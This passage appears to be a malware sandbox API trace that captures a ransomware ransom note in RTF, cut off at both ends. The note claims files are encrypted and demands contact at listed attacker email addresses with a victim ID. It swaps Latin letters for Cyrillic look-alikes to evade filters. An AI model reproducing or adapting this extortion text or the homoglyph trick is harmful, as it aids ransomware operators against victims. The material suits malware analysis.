d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r 